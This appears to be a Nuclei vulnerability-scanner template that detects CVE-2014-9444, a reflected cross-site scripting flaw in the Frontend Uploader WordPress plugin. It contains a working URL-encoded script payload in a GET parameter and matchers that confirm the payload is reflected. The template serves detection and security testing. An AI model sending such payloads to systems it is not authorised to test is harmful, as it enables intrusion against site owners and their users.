id: CVE-2014-9444

info:
  name: Frontend Uploader <= 0.9.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: The Frontend Uploader WordPress plugin prior to v.0.9.2 was affected by an unauthenticated Cross-Site Scripting security vulnerability.
  impact: |
    Allows remote attackers to inject arbitrary web script or HTML via a crafted file name, leading to potential session hijacking, defacement, or data theft.
  remediation: |
    Update to the latest version of the Frontend Uploader plugin (0.9.2) or apply the vendor-supplied patch to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/f0739b1e-22dc-4ca6-ad83-a0e80228e3c7
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9444
    - http://packetstormsecurity.com/files/129749/WordPress-Frontend-Uploader-0.9.2-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2014-9444
    cwe-id: CWE-79
    epss-score: 0.00619
    epss-percentile: 0.78788
    cpe: cpe:2.3:a:frontend_uploader_project:frontend_uploader:0.9.2:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: frontend_uploader_project
    product: frontend_uploader
    framework: wordpress
  tags: cve2014,cve,wp-plugin,xss,wpscan,packetstorm,wordpress,unauth,frontend_uploader_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/?page_id=0&&errors[fu-disallowed-mime-type][0][name]=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200a90cabc2ba4c78d84da93d435e828bf800fba068d1f508ac527953927bf1054022100ce2f3a10cf79d2d52e85b4eb0ef8945a3eae602b4a10c21b0c086c2b9d4fc898:922c64590222798bb761d5b6d8e72950